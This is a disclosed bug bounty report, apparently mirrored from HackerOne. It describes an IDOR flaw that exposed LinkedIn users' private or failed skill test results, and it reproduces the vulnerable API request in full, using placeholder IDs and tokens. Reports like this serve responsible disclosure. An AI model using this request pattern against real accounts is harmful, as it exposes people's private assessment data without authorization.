HexBrain

LinkedIn · Report #1837309

Anyone can view the results of linkedin skill test -if failed to earn a badge or if the badge earned is kept private: both cases results can be viewed

Validstatus
mediumseverity
43upvotes
17 May 2023disclosed

Summary

The researcher found an IDOR in LinkedIn Skill Test functionality which allowed anyone to view the private skill test results of users who failed to earn a badge and also test results of a passed skill test kept private.

It was possible to view the private skill test results of users who failed to earn a badge and also test results of a passed skill test kept private. Here is the request that was vulnerable to IDOR -

GET /voyager/api/voyagerAssessmentsDashSkillAssessmentAttemptReports/urn:li:fsd_skillAssessmentAttemptReport:(urn:li:fsd_profile:<fsd_profile-ID>,urn:li:skill:<SKILL-TEST-ID>,1) HTTP/1.1
Host: www.linkedin.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: application/vnd.linkedin.normalized+json+2.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
csrf-token: <CSRF-TOKEN>
Origin: https://www.linkedin.com
Connection: close
Referer: https://www.linkedin.com/skill-assessments/hub/reports/?resultType=
Cookie: <COOKIES>
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin


The fsd_profile ID and the skill ID both are public.

How it was found

The write-up for this report has not been downloaded yet, or the program disclosed it without one. Read it on HackerOne.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original